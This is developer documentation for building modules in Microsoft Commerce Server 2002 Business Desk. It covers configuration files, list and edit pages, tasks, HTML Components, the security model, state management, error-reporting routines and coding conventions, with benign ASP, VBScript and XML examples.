Normally, the Business Desk runs as an HTML Application (HTA). An HTA is a customized instance of a browser that hides some of the normal browser features (such as the toolbar and address bar) so that a more consistent and usable user interface can be provided. Business Desk is designed such that, in production, it forces itself to be run as an HTA.

You can override the behavior that forces execution only within an HTA by changing the Business Desk from production mode to development mode. Near the top of the Global.asa file for the Business Desk, you will find the following line of code:

MSCSEnv = PRODUCTION

PRODUCTION is a constant defined a few lines above, along with a sibling constant DEVELOPMENT. If you change the initialization of the MSCSEnv variable from PRODUCTION to DEVELOPMENT, a number of more debugging friendly behaviors ensue. One of these is the ability to execute Business Desk within an normal browser instance. Remember to change this line of code back to its original form before moving Business Desk, which now includes your new module, into a production environment.

Another aspect of Business Desk architecture that does not impact the development of new modules, but which is nevertheless important to understand, is that the first time Business Desk is invoked from a particular machine, it is going to launch the Client Installer. This short process will download a small number of files that must exist on the client for the Business Desk to operate as designed. As already mentioned, this does not affect the development of new modules.


Configuration Files

A set of Extensible Markup Language (XML) configuration files, the master configuration file and a number of module configuration files, are used to inform the Business Desk Framework about a number of different aspects of the modules that are included in a particular instance of Business Desk. At the highest level, each module uses this mechanism to specify information such as the category to which it belongs, the action pages it includes, and the tasks that are available on each of those action pages. At lower levels, a wide variety of additional information is specified in each of these configuration files.

For additional information about configuration of Business Desk, see Business Desk Configuration.

For detailed information about the XML structure of the master configuration file, see Master Configuration File.

For detailed information about the XML structure of the module configuration files, see Module Configuration Files.


Categories

The purpose of categories is to provide a way to organize the various modules in Commerce Server Business Desk. They provide the first level of organization in the navigation pane. The entry points to the modules serve as the second level.

Categories are implemented as entries in XML configuration files, and are displayed only in the navigation pane.

As the author of a new Business Desk module, you need to determine whether the new module belongs in one of the existing categories, or whether the functionality it provides warrants the creation of a new category. If you need to create a new category, you edit the XML contained in the master configuration file and add a new category element. The unique category ID that you devise for this category can then be referenced from the module configuration file that you create for your new Business Desk module. If you are going to add your new module to an existing category, you refer to the category ID of the existing category in your module configuration file.

A category is not displayed in the navigation pane if either of the following conditions is met:

  • No modules specify that category.
  • The current user does not have permission to access any of the module entry points within that category.


Modules

Commerce Server Business Desk modules are what provide the user interfaces that are used to accomplish actual, specific work within Business Desk. Though quite a few Business Desk modules ship with Microsoft Commerce Server 2002, undoubtedly the need for new modules will arise. How to build and integrate such new modules with the existing modules is the subject of this section.

A Business Desk module consists of the following:

  • A set of related ASP pages, including any private utility pages, that present a user interface for managing a particular type of business data. The module also includes any additional, pure-processing ASP pages that support the presented user interface. With the exception of the utility pages, typically included in pages of the other types, these pages are known as action pages.
  • Information about how and where the module should integrate into Business Desk relative to the existing categories and modules. This information is contained in the module configuration file, or potentially in more than one such file.
  • Information about how Business Desk should manage navigation between the ASP pages comprising the module, expressed in terms of tasks, and possibly including some icon files for display on task buttons specific to that module.
  • Optionally, and recommended, help files specific to action pages in the module.


Action Pages

Action pages are the Active Server Page (ASP) pages that constitute a module. Action pages can be used for pure-processing; that is, they are not responsible for the display of any user interface.

In contrast, many action pages are directly responsible for the user interface displayed in the content pane of Commerce Server Business Desk. There are two main types of action pages that are responsible for the display of the user interface: list pages and edit pages.

Any action page linked to as a module or task entry point must be registered in a module configuration file.

At a minimum, action pages responsible for the display of the content pane are comprised of the following:

  • Directives to include the appropriate Business Desk utility files. Some module-specific utility files might also be included.
  • The Business Desk customizable style sheet (CSS), which provides a consistent set of styles for a particular instance of Business Desk, as well as the styles required by the Business Desk HTML Components (HTCs).
  • A call to one of the Framework utility functions, InsertTaskBar or InsertEditTaskBar, to display the task buttons specified in the module configuration file for this action.
  • One or more HTML forms, sometimes including one or more HTCs, that specify the user interface elements associated with the action.

    Although the editing HTCs must generally be within the forms; non-editing controls (like the ListSheet HTC) need not be.

  • Optionally, the ASP code that processes the form data upon submission of the form. This code can be on the same action page, or can be on a different ASP page of either the pure-processing variety or the user interface variety, depending on how the tasks are configured. Typically, if the same page is to be displayed after some ASP code is executed, the form associated with the task will post to that same page and the ASP processing will be done at the top of the page before the content is redisplayed.

This section contains:

  • List Pages
  • Edit Pages


List Pages

List pages are one of two main types of action pages within Commerce Server Business Desk. List pages are characterized by several distinguishing features, as follows:

  • They are read-only. Data should never be modified on a list page (with the exception of search information in the find pane).
  • They appear along side the navigation pane, the latter of which allows a Business Desk user to leave the current module by selecting a different module. The list page is displayed in the right side of the Business Desk workspace.
  • Typically, list pages make use of a ListSheet HTML Component (HTC) for displaying data, using one of several distinct modes of operation offered by that HTC.
  • The list page is often divided into two distinct areas, arranging one above the other. The top area is known as the find pane, and typically contains a small number of EditField HTCs that allow the user to specify find criteria. The bottom area contains the ListSheet HTC mentioned above, and is known as the content pane. When a Find task is performed using the criteria specified in the find pane, the results are displayed in the ListSheet HTC in the content pane.

The following table describes the recommend logical structure for list pages.

Abbreviated List Page Code Description
<% InsertTaskBar %>

List Page server-side routine to insert the proper taskbar and show the navigation pane.

<DIV  id='FindByArea'>

DIV containing the whole find pane.

    <XML id='efMeta'> . . . </XML>

XML data-island containing the configuration data for the EditField HTCs.

    <XML id='efData'> . . . </XML>

XML data-island containing the actual data to be displayed in the EditField HTCs.

    <DIV id='edit1'> . . . </DIV>

DIV containing the first of several EditField HTCs used in the find pane.

    <DIV id='edit2'> . . . </DIV>

DIV containing the second of several EditField HTCs used in the find pane.

    <DIV id='edit3'> . . . </DIV>

DIV containing the third of several EditField HTCs used in the find pane.

</DIV>

End of the find pane DIV.

<DIV  id='ContentArea'

DIV containing the whole content pane.

    <XML id='lsMeta'> . . . </XML>

XML data-island containing the configuration data for the ListSheet HTC.

    <XML id='lsData'> . . . </XML>

XML data-island containing the actual data to be displayed in the ListSheet HTC.

    <DIV id='list1'> . . . </DIV>

DIV containing the ListSheet HTC used in the content pane.

</DIV>

End of the content pane DIV.


Edit Pages

Edit pages are one of two main types of action pages within Commerce Server Business Desk. Edit pages are characterized by several distinguishing features, and subject to certain conventions, as follows:

  • They are read/write. Data should only be modified on an edit page (with the exception of find pane fields on a list page).
  • They do not appear along side the navigation pane. When an edit page appears, the navigation pane is hidden and the edit page occupies the entire Business Desk workspace. This ensures that the user must save or cancel changes before moving to another module. To accomplish this behavior, edit pages must use the InsertEditTaskbar routine rather than the InsertTaskbar routine.
  • Edit pages typically make use of one or more different HTML Components (HTCs) to allow modification of data, including the DynamicTable HTC, the EditSheet HTC, the ListEditor HTC, and individual EditField HTCs. These various HTCs should be defined within a master (or outer) EditSheet HTC. This allows the event handlers to ensure proper operation of confirmation and warning dialogs associated with the Save task.
  • Edit pages with only one EditSheet group should not be expandable or collapsible, and therefore should not have a title bar.
  • When first loading, edit pages should, in general, have the first EditSheet group open and all others closed.
  • If you add an EditField HTC to an edit page you must supply your own label and required icon (if needed). For example:
    <TABLE>
<TR>
    <TD width=30><%= g_imgRequired %></TD>
    <TD CLASS='esLabelCell'>
        <LABEL FOR='password'>Password:</LABEL>
    </TD>
    <TD CLASS='esDataCell'>
        <DIV ID='password' CLASS='editField'
             MetaXML='efMeta'
             DataXML='efData'>Loading property...</DIV>
    </TD>
</TR>
</TABLE>
  • The g_imgRequired constant can be used to insert the markup for a required icon. The required icon is usually in a cell 20 pixels wide. If no required icon is needed simply replace the icon with a &nbsp; element.
  • All field labels should be nested within a LABEL element to provide for accessibility, and end with a semi-colon for consistency.
  • The esDataCell and esLabelCell values for the CLASS attribute allow the field to adopt the characteristics associated with the standard EditSheet layout.
  • If no required icon is needed simply replace the icon with a &nbsp; element
  • The following layout spacing conventions should be followed:
    • The content pane should have a 20-pixel margin on all sides.
    • Control buttons should always be left aligned, in a single horizontal row with six pixels between buttons. The normal size of a button is 80 pixels wide and 25 pixels high. They can be made wider to accommodate longer text.
    • Paging controls should always be right aligned.
    • Control buttons and paging controls should always be 12 pixels away from the control above them.
  • When an edit page is a module entry point (for example, tax rates page), the page must be given the following back button task so that the Back button links to the Business Desk welcome page (rather than to a list page):
    <task icon='taskback.gif' id='back'>
    <goto action='welcome.asp' />
    <name>&lt;U&gt;B&lt;/U&gt;ack</name>
    <key>b</key>
    <tooltip>Back to Main Menu</tooltip>
</task>

The following table describes the recommend logical structure for a particular, sample edit page. It demonstrates how to properly create a nested HTC structure of the following form:

    Master EditSheet
        EditSheet
        EditSheet
            EditSheet
            EditSheet
        EditSheet
            ListEditor
        EditSheet

Note that the code itself is abbreviated for clarity.

Abbreviated Edit Page Code Description
<% InsertEditTaskBar %>

Edit Page server-side routine to insert the proper taskbar and hide the navigation pane.

<XML  id='MasterMeta'>

Start of the XML data-island containing the configuration data for the outer EditSheet HTC.

    <editsheets>

Presence indicates that this EditSheet HTC contains multiple embedded EditSheet groups, listed in the order they are displayed from top to bottom.

    <editsheet> . . . </editsheet>

First nested EditSheet group. Gets its data from the containing EditSheet HTC (id='MasterData' in this example).

    <editsheet>

        <template
            register='InnerES'>
            <![CDATA[
              <DIV id=InnerES
                  class='EditSheet'
                  MetaXML='ESMeta'
                  DataXML='ESData'>
              </DIV>
            ]]>
        </template>
    </editsheet>

Second nested EditSheet group. In this example, the nested EditSheet group contains yet another EditSheet HTC (id=InnerES).

Because it uses the template mechanism, the inner EditSheet HTC must have its own MetaXML and DataXML data-islands.

The register attribute on the template tag assures the correct bubbling of events from the inner EditSheet to the master EditSheet.

    <editsheet>

        <template
            register='InnerLE'>
            <![CDATA[
              <DIV id=InnerLE
                  class='ListEditor'
                  MetaXML='LEMeta'
                  DataXML='LEData'>
              </DIV>
            ]]>
        </template>
    </editsheet>

Third nested EditSheet group. In this example, the nested EditSheet group contains a ListEditor HTC (id=InnerLE).

Because it uses the template mechanism, the inner ListEditor HTC must have its own MetaXML and DataXML data-islands.

The register attribute on the template tag assures the correct bubbling of events from the ListEditor to the master EditSheet.

    <editsheet> . . . </editsheet>

Fourth nested EditSheet HTC. Gets its data from the containing EditSheet HTC (id='MasterData' in this example).

    </editsheets>

End of container for multiple EditSheet HTCs.

</XML>

End of master EditSheet HTC configuration data-island.

<XML  id='MasterData'> . . . </XML>

XML data-island containing the actual data for the master EditSheet HTC. Data actually displayed in nested, non-template EditSheet HTCs.

<XML  id='ESMeta'>

Start of the XML data-island containing the configuration data for the inner EditSheet HTC.

    <editsheets>

Presence indicates that this EditSheet HTC contains multiple embedded EditSheet HTCs, listed in the order they are displayed from top to bottom.

    <editsheet> . . . </editsheet>

First nested EditSheet group. Gets its data from the containing EditSheet HTC (id='ESData' in this example).

    <editsheet> . . . </editsheet>

Second nested EditSheet group. Gets its data from the containing EditSheet HTC (id='ESData' in this example).

    </editsheets>

End of container for multiple EditSheet HTCs.

</XML>

End of nested EditSheet HTC configuration data-island.

<XML  id='ESData'> . . . </XML>

XML data-island containing the actual data for the nested EditSheet HTC.

<XML  id='LEMeta'>

    <listeditor> . . . </listeditor>
</XML>

XML data-island containing the configuration data for the nested ListEditor HTC.

<XML  id='LEData'> . . . </XML>

XML data-island containing the actual data for the inner ListEditor HTC.

<DIV  id='MasterEditSheet'

      class='EditSheet'
      MetaXML='MasterMeta'
      DataXML='MasterData'>
      Loading. Please wait...
</DIV>

DIV that defines the content of entire content pane.


Tasks

A Commerce Server Business Desk task is what ties one action page to another action page, sometimes performing some work during the page transition. In some circumstances the resultant action page can be the same as the originating action page. For example, the Delete task is likely to present a confirmation dialog box, delete the selected record(s) if confirmed, and then return the user to the originating page.

Another way to think about tasks is that they are the mechanism through which Business Desk users initiate high-level actions within the Business Desk. Examples of high-level actions include opening an edit page for a particular selected item, deleting a selected item, and creating a new item. High-level actions can be contrasted to low-level actions that take place within a single page. Examples of low-level actions include scrolling, paging, and changing the value of a displayed field.

Frequently, a task provides a mechanism for performing some more detailed manipulation of data that has been selected on the originating page. For example, suppose a user selects a row that corresponds to a particular record on one action page. By clicking the button for the Open task, the user is presented with a new action page that displays that record in more detail, showing additional fields that were not visible on the originating action page. The new page is likely to allow editing of at least some of the fields being displayed, allowing those fields of the record to be changed by the user.

Tasks are presented in Business Desk user interface as a horizontal row of buttons, known as the taskbar, located at the top of the content pane. There are two types of task buttons: standard task buttons and task menu buttons. Task menu buttons are one of several ways for handling what is known as task branching. The aspects of Business Desk tasks are discussed in more detail in the following topics.

This section contains:

  • Task Buttons and Menus
  • Task Branching
  • The Task Bar


Task Buttons and Menus

Tasks are presented in the Commerce Server Business Desk user interface as buttons. Typically, a task button displays an icon, retrieved from the image file specified as the value of the icon attribute of the task element. If the icon attribute is missing, the data value associated with the name element (child of task element) is used to label the button. The data value associated with the tooltip element (child of the task element) is used as mouse-over text.

For more information about the attributes and sub-elements of the task element, see the task element topic in the "Business Desk XML Structures" reference.

There are two types of task buttons used within Business Desk: standard task buttons and task menu buttons. Standard task buttons are buttons that perform some action when clicked. The action might be, for example, to go to a new action page, to display a deletion confirmation dialog box, or to save modified data.

In contrast, task menu buttons display a drop-down menu when clicked, presenting a number of distinct sub-tasks as possible choices. The user must click one of those choices before any action is taken.

A large number of icons have been pre-defined for a variety of generalized tasks, including some task menu icons. Wherever possible, developers of new Business Desk modules are encouraged to make use of these existing icons. For more information about icons, see Icons.


Task Branching

There are times when a particular task actually represents a number of distinct sub-tasks. For example, when adding a new item of some type, you add a new item with all blank fields, or a new item with field values inherited from a selected item of the same type.

This task branching can be handled in different ways. Sometimes the sub-task is obvious from the item selected, and no user input is required. The code can make the correct sub-task choice on behalf of the user.

If the user must explicitly make the sub-task choice, the preferred method is to define the task as a menu. Using this method, when the user clicks the task button a menu drops down, presenting them with the sub-task choices. This type of mechanism is easily configured within the corresponding task element in the module configuration file.

Another method of accomplishing sub-task branching when the user must make the choice is to use an intermediate dialog box. This can be done by adding an ONTASK attribute to the form associated with a task ("postto" type tasks only). The ONTASK attribute names a function to be executed after the user clicks the task button. This function could display the dialog window and then submit the form unless the user cancels the task.


The Task Bar

Every action page that presents a user interface in the content pane needs to define a set of tasks that are available from that page. These tasks are defined in the module configuration file, using the tasks element contained in each action element. For more information about the details of task definition for each action page, see the tasks element topic in the "Business Desk XML Structures" reference.

The tasks defined for an action page are displayed as a series of task buttons, starting at the top left corner of the content pane and continuing to the right. This series of buttons is known as the taskbar. Task buttons appear in the taskbar in the same order that the corresponding task elements appear within the tasks element in the module configuration file.

There are some conventions about the order in which tasks should be defined, and thus the order in which their associated task buttons will appear in the taskbar. For more information about task bar conventions, see Task Bar.

In addition to the tasks defined by each module, as represented by a left-justified set of task buttons, there is a single global task. This task is the Help task, which has a standard, right-justified button. The Help button displays with a question mark icon, and has the mouse-over text "View help for this page." The Help task is the only global task that is automatically included on every action page. Pages that do not specify a help topic using the helptopic attribute of the action element will display the general Business Desk help when clicked. There is no supported mechanism for adding new global tasks.


HTML Components

One of the important services provided by the Commerce Server Business Desk Framework is a set of HTML Components (HTCs) that provide a standardized manner in which data can be displayed and manipulated. These HTCs are used extensively in Business Desk modules that ship with Commerce Server 2002, and it is expected that they will also be used extensively in new Business Desk modules developed by third parties.

For more information about the HTCs provided by the Business Desk Framework, see HTML Components in Business Desk.

For detailed reference information about the properties, methods, and events supported by each HTC, and for information about the XML structures upon which these HTCs rely, see HTML Components and Business Desk XML Structures, respectively.


XMLHTTP Operations

Two of the HTML Components (HTCs) provided by the Commerce Server Business Desk Framework provide a special feature known as XMLHTTP operations. These HTCs are the ListSheet HTC and the TreeView HTC. The purpose of this feature is to enhance the performance of these HTCs by providing a structured mechanism in which the HTC can request additional XML data from the server in such a way that the page will not need to be reloaded.

In addition, there are a number of routines in the framework for doing XMLHTTP operations on a page outside the context of the ListSheet and TreeView HTCs. These routines can be used to implement pages that save information to the server without having to reload the entire page. Examples include many of the edit pages in the Campaign Manager module.

For more information about XMLHTTP operations and the fetch pages upon which they rely, see XMLHTTP Operations and Fetch Pages.

For more information about the configuration of XMLHTTP operations within the XML meta-data data-islands for the ListSheet HTC and the TreeView HTC, see ListSheet Configuration and TreeView Configuration, respectively.


Security

The Business Desk Framework in Commerce Server 2002 provides a new security model that was not present in Commerce Server 2000. Using this model, different users, and different groups of users can be restricted from accessing aspects of Business Desk at a variety of levels. The following list describes the various aspects of this security model:

  • Windows 2000 Security Identifiers (SIDs) form the basis upon which users or groups of users are allowed or denied access to different aspects of functionality within Business Desk. If your particular installation has a lot of Business Desk users, you should divide those users into logical groups and then secure Business Desk using the SIDs associated with those groups. In Windows 2000 Administrative Tools, use "Local Users and Groups" in the Computer Management tool to create and manage groups.
  • Business Desk security is divided into "security areas". There is one area that is implicitly created. It is for the Business Desk Framework and it handles security at the category, module, and task level. The security settings for these areas are constructed when Business Desk is initialized, based on the categories, modules, and tasks defined in the module configuration files. Initially, only users in the Administrators group are allowed to access Business Desk based on the default security settings for categories, modules, and tasks.

    Commerce Server 2002 also explicitly defines two additional security areas: "catalog" and "profile". These two areas provide finer-grained security for the Product Catalog System and the Profiling System, respectively. For catalogs, edit access can be restricted at the property and catalog levels. For profiles, read and edit access can be restricted at the individual property level.

  • The Security module of Business Desk is used to manipulate the security settings in various security areas. A user in the Administrators group should begin by using the Security module to extend access, as appropriate, to users not in the Administrators group.
  • Besides the SID, there are five key constructs in the security model: "area", "entity", "element", "right", and "deny", defined as follows:

    Area. A security area is logical division of Business Desk security settings according to the Commerce Server feature being secured. The Business Desk Framework constitutes the implicit area, and controls access to categories, modules, and their tasks in a generic manner. The other two areas defined for Commerce Server 2002 are "catalog" and "profile". These later two areas are defined in the same way that additional security areas could be defined for new Commerce Server functionality: by using the file config\master_security_config.xml and the ASP files that it references. The "area" construct is not used at the level of the API supplied by the BizDeskSecurity object.

    Entity. A security entity is the next lower division in the security hierarchy, under security areas. For example, in the Business Desk Framework, the security entities are category, module, and each set of tasks on individual action pages. For catalogs, the security entities are catalog and property. For profiles, the security entities are each defined profile, such as users and organizations. At the level of the API supplied by the BizDeskSecurity object, entities are the highest-level security construct, and must therefore all be unique. To this end, the Business Desk Framework prepends the string "bdfw_" to its category and module security entities, catalog security entities are prepended with "catalog_", and the profile security entities are prepended with "Profiles_".

    Element. A security element is an instance of a security entity. For example, for the Business Desk Framework security entity "category", the corresponding elements are the categories that are actually defined in the module configuration files. Likewise with the security entity "module". The security elements for the security entities defined for each action page are the tasks for that action page, also derived from the module configuration files.

    Right. A security right is an action that can be allowed or denied for a particular security entity, and specifically, for the security elements associated with that entity. Typically, rights are defined as verbs, such as "read" or "edit", though the definition and semantics of rights is entirely specific to the entity for which they are defined.

    Deny. When using the BizDeskSecurity object, the "deny" setting is a tri-state value that is defined for each combination of SID, entity, element, and right. The value zero (0) means that users with the corresponding SID are allowed the type of access specified by the corresponding right to the corresponding element of the corresponding entity type. The value one (1) means that those users are denied that right to that element. The value two (2) means that access for those users for that right and element is inherited from other groups that may have been defined in that security module. In the Permissions module (and dialog box) user interface, "allow" and "deny" are represented by two individual checkboxes. The undefined state is represented by neither checkbox being checked.

Note

  • With the addition of the routines in ServerSecurityUil.asp, you can check security on the server befor serving a page. This can protect against URL spoofing. For more information, see Business Desk Reference.

Consider the following additional points when determining security requirements for a particular instance of Business Desk:

  • Most databases allow some type of security to be implemented at the level of the data fields. A new Business Desk module could be written such that it handled data protection at this level; however, the modules that ship with Microsoft Commerce Server 2002 do not implement this level of security, and would need to be modified to do so.
  • If the user connects to Business Desk from the Internet via an unauthenticated session, Internet Explorer prompts for the user name, password, and domain name in order to authenticate the user for the Business Desk application.
  • When the user is already logged onto the local network, an account context is implicit and that context is used for transparent validation of the authenticity of the user.


State Management

The Commerce Server Business Desk Framework maintains a client state dictionary that is used by modules to pass data between pages. Three client-side routines are provided for interacting with this dictionary. Use SetTemp (client-side) to store data, GetTemp (client-side) to retrieve data, and ClearTemp (client-side) to remove previously stored data. The data to be stored can be any variant type, including objects.

To keep this dictionary operating efficiently, care should be taken to clear values that no longer need to be stored in this dictionary.

All pages displayed within a particular instance of Business Desk share this dictionary, and there are no mechanisms to prevent one page from overwriting a value stored by another page. For this reason, you need to ensure that the dictionary key names that you use are unique and not used by another module. One common practice is to prefix all key names with the module name or some variation thereof.

One important use of the client state dictionary is when nested edit pages are being used. Often, the nested edit page needs to pass information back to the calling edit page. For example, this information might concern newly created objects or renamed objects. The nested edit page stores the relevant information in the client state dictionary, usually in the ONTASK routine associated with the Save task. The information can then be retrieved from the client state dictionary in the callback routine in the calling edit page.

Similarly, Business Desk also provides routines for storing state information on the server that can be accessed from client-side script. These routines convert a client-side Dictionary object into XML, use XMLHTTP to transfer it to the server, convert the XML back to a Dictionary object on the server, and then save it in the Session object. The reverse operation retrieves the saved state from client-side script. For more information about saving state information on the server, see dSetServerState (client-side), dGetServerState (client-side), and dClearServerState (client-side).

Modules can use cookies to save small amounts of state across calls to different pages. Use this state management method only when storing less than 100 bytes of data per action page.


Error Reporting

The Commerce Server Business Desk Framework provides error reporting routines for both client-side and server-side script. These routines fall into the following categories:

  • Formatting routines that are used to construct an HTML table that shows the details of one of several categories of errors.
  • A routine used to set error information in server code that will be displayed on the client when the task bar is inserted in the page.
  • Display routines that result in an error dialog box to be displayed to the Business Desk user.
  • A routine that is used to fetch friendly error strings based on a more terse error string ID.

This topic contains:

  • Server-Side Error Routines. Describes the routines supplied by the Framework for formatting and displaying errors within server-side script.
  • Client-Side Error Routines. Describes the routines supplied by the Framework for formatting and displaying errors within client-side script.
  • Error Routine Examples. Provides a number of examples, showing how the error reporting routines can be combined to report different types of errors.


Server-Side Error Routines

There are four server-side routines for formatting error details, one each for formatting the following types of errors: ADO errors, ASP errors, XML parsing errors, and VBScript errors. For more information about server-side error routines, see:

sGetADOError (server-side) | sGetScriptError (server-side)
sGetASPError (server-side) | sGetXMLError (server-side)

The routine SetError is provided for logging an error in server-side script for eventual display to the Business Desk user. The error information is stored in the ASP Session object and is automatically retrieved and displayed to the user the next time one of the taskbar routines (InsertTaskBar or InsertEditTaskBar) is invoked. For more information about the SetError routine, see SetError (server-side).

Server-side errors are also logged to the Windows NT Application Event Log under the Commerce Server 2002 source.

The routine sGetErrorById is provided to allow the error summary strings stored in the global MessageManager object to be retrieved based on more cryptic, non-localized identifier strings. For more information about the sGetErrorById routine, see sGetErrorById (server-side).


Client-Side Error Routines

There are two client-side routines for formatting error details, one for formatting the details of XML parsing errors, and one for formatting the details of VBScript errors. For more information about client-side error routines, see:

sGetScriptError (client-side) sGetXMLError (client-side)

The routine ShowErrorDialog is provided for displaying an error dialog box to the Business Desk user from client-side script. For more information about the ShowErrorDialog routine, see ShowErrorDlg (client-side).

The error dialog is displayed immediately, and is modal. The detail formatting routines are called within the parameter list of ShowErrorDialog, providing the detail string via their return value.


Error Routine Examples

The following examples show various ways in which the formatting and display routines can be combined to report different types of errors.

The following server-side example shows a call to SetError where the dialog box title is referenced through a localizable string constant, the summary string is looked up using sGetErrorById, and the error details are retrieved using the ASP getLastError method. This example displays an error dialog box with the critical icon.

The call to InsertTaskBar following the call to SetError results in a call to the client-side routine ShowErrorDialog, passing the SetError parameters that were temporarily stored in the Session object.

<%
Call SetError(L_ASP_ERROR_TITLE, _
              SGetErrorById("CS4ERR_ASP_ERROR"), _
              sGetASPError(Server.getLastError), _
              ERROR_ICON_CRITICAL)

Call InsertTaskBar(L_PAGETITLE_TEXT, L_STATUS_TEXT)
%>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are contained in the Visual Basic global Err object. This example displays an error dialog box with the question icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_VB_SCRIPT_ERROR_TITLE, _
                     L_VB_SCRIPT_ERROR_MESSAGE, _
                     sGetScriptError(Err), _
                     ERROR_ICON_QUESTION)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are retrieved using the XML Document Object Model (DOM) parseError method (assumes a reference to an XML document is contained in the variable xmlDoc). This example displays an error dialog box with the critical icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_XML_PARSE_ERROR_TITLE, _
                     L_XML_PARSE_ERROR_MESSAGE, _
                     sGetXMLError(xmlDoc.parseError), _
                     ERROR_ICON_CRITICAL)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title is referenced through a localizable string constant, the summary string is looked up in server-side script, and the error details are retrieved in server-side script using the ASP getLastError method. This example displays an error dialog box with the alert icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_ASP_ERROR_TITLE, _
                     "<%= sGetErrorById("CS4ERR_ASP_ERROR") %>", _
                     "<%= sGetASPError(Server.getLastError()) %>", _
                     ERROR_ICON_ALERT)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog where the dialog box title and summary strings are referenced through localizable string constants and the error details are retrieved in server-side script using the first error object in the errors collection of an Active Data Objects (ADO) Connection object (assumes a reference to an ADO Connection object is contained in the variable oConn, and that that object contains at least one valid error object). This example displays an error dialog box with the information icon.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog(L_ADO_ERROR_TITLE, _
                     L_ADO_ERROR_MESSAGE, _
                     "<%= sGetADOError(oConn.errors.error(0)) %>", _
                     ERROR_ICON_INFORMATION)
</SCRIPT>

The following client-side example shows a call to ShowErrorDialog that displays a dialog box with the default title, summary string, and icon. No details button appears in the dialog box.

<SCRIPT LANGUAGE='VBScript'>
Call ShowErrorDialog("", "", "", "")
</SCRIPT>


Online Help

Every action page specified in a module configuration file must specify an associated help file. Specifically, the action element is required to include the helptopic attribute, the value of which specifies the pathless name of an HTML file that is meant to contain help for that action. Such help files must be placed in the Help folder within the root folder of Commerce Server Business Desk.

When a Business Desk user clicks the Help task, the Business Desk Framework looks up the help file associated with the current task and displays it in a separate help window. If the helptopic attribute contains an empty string then the general Business Desk help page is displayed.


Business Desk Conventions

The Commerce Server Business Desk modules that ship with Microsoft Commerce Server 2002 were developed taking into account established standards for Microsoft Windows applications and defacto standards for Web applications. The goal was to improve both the usability of the Business Desk application and the maintainability of the Business Desk code base. Usability is improved because adherence to the standards tends to increase the consistency between modules developed by different individuals or organizations. Maintainability is improved because the code base is more consistent, allowing new developers to more quickly understand and more successfully modify the code that implements Business Desk.

The topics in this section serve two purposes. First, once developers of new Business Desk modules have learned the standards used, the more easily they will be able to comprehend the Business Desk source code and use it in their new modules, both in terms of invoking Framework functions and in terms of re-using sections of existing code.

Second, to the degree that developers adopt and apply these standards in their own modules, Business Desk usability and maintainability is preserved, benefiting the business managers using it to maintain their Web sites, and any new developers that must learn the now-extended code base to perform future maintenance.

This section contains:

  • Coding Practices. Describes the coding practices used in the Business Desk Framework and module code.
  • Fonts and Color Scheme. Describes the default Business Desk color scheme and the justification behind it. Includes information on how to modify the color scheme.
  • Icons. Describes the icon scheme used in Business Desk. Also provides information about when and how to use various icons.
  • Accessibility. Describes accessibility practices employed in Business Desk. Provides an accessibility checklist for use in module development.
  • Localization. Describes how to make the process of localizing a Business Desk module as easy as possible.
  • Title Bar. Describes the conventions adopted for the text shown in the title bar.
  • Task Bar. Describes the conventions adopted by existing Business Desk modules with respect to the taskbar.
  • ListSheets. Describes standards established for ListSheet HTCs.
  • EditFields. Describes standards established for EditField HTCs.
  • Find Pane. Describes standards established for the find pane.
  • Modal Dialog Boxes. Describes standards established for modal dialog boxes employed by both Business Desk modules and the Framework itself.
  • Confirmation, Warning, and Error Dialogs. Describes the standards adopted with regard to confirmation messages.
  • Asynchronous Behavior. Describes various aspects of how asynchronous behavior is implemented within Business Desk, allowing new modules to successfully integrate with those mechanisms.
  • Error Messages. Describes the standards adopted with regard to error messages.
  • Status Messages. Describes the standards adopted with regard to status messages.
  • Links Between Modules. Describes the conventions adopted with regard to direct linking between actions that belong to different modules.
  • Help Topics. Describes the behavior of the online Help system built into Business Desk. Information about how to develop Help topics for new modules as well as information about how such help can be integrated into the existing system is provided.


Coding Practices

The following list summarizes the coding standards observed during the development of Commerce Server Business Desk.

  • Follow Hungarian naming conventions for variables.
  • Follow file naming conventions.
  • Provide clear and complete comments in the code.
  • Keep use of included files to a minimum.
  • Validate all HTML using an HTML validation tool.
  • Make sure all HTML element IDs are unique and are all in lowercase.
  • Establish some common page characteristics by including the file BDHeader.asp.
  • Specify "Option explicit" at the beginning of each client script block.
  • Use "Request.Querystring" and "Request.Form", as appropriate.
  • Specify ByRef and ByVal explicitly in VBScript function definitions.
  • Keep the number of queries per page to a minimum.
  • Use symbolic constants for clarity.
  • Specify the scripting language per page (ASP) and per element (DHTML).
  • Capitalize all HTML element names and attributes, and all constant names.
  • Use lowercase or mixed case for scripting code.
  • Use a main function for each page to keep use of page globals and script executed inline to a minimum.


Fonts and Color Scheme

The fonts and color scheme used by Commerce Server Business Desk are defined within a customizable style sheet (CSS), allowing centralized modification of these aspects of the Business Desk look and feel. The name of the main CSS file is Bizdesk.css and it is located in the Include folder within the root folder of Business Desk.

There is a separate CSS file for the navigation pane, named Navtree.css.

For the sake of consistency, new modules should adopt the fonts and color scheme defined in the file Bizdesk.css so that any subsequent changes are applied consistently throughout Business Desk.

For detailed information about the CSS file used by Business Desk, see Style Sheet Reference.


Icons

Every action page specified in a module configuration file has a number of tasks associated with it. Given this specification the Commerce Server Business Desk Framework can assemble and display the appropriate taskbar (also known as a toolbar in the Business Desk help). The most prominent visual aspects of the taskbar are the icons that represent the different possible tasks. These icons are specified in the module configuration files as the value of the icon attribute of the task element. The value to be specified is the pathless name of a file, typically a GIF file, located in the Assets folder under the Business Desk root folder.

The Assets folder contains a fairly large set of pre-defined icon files used by existing modules and available for use in new modules. Most of these files are intended for representing tasks that lead to a single subsequent page. The names of the icon files associated with tasks have the form taskTYPE.gif, where TYPE is a short string that describes the associated task. For example, the icon file associated with the export task is named taskExport.gif.

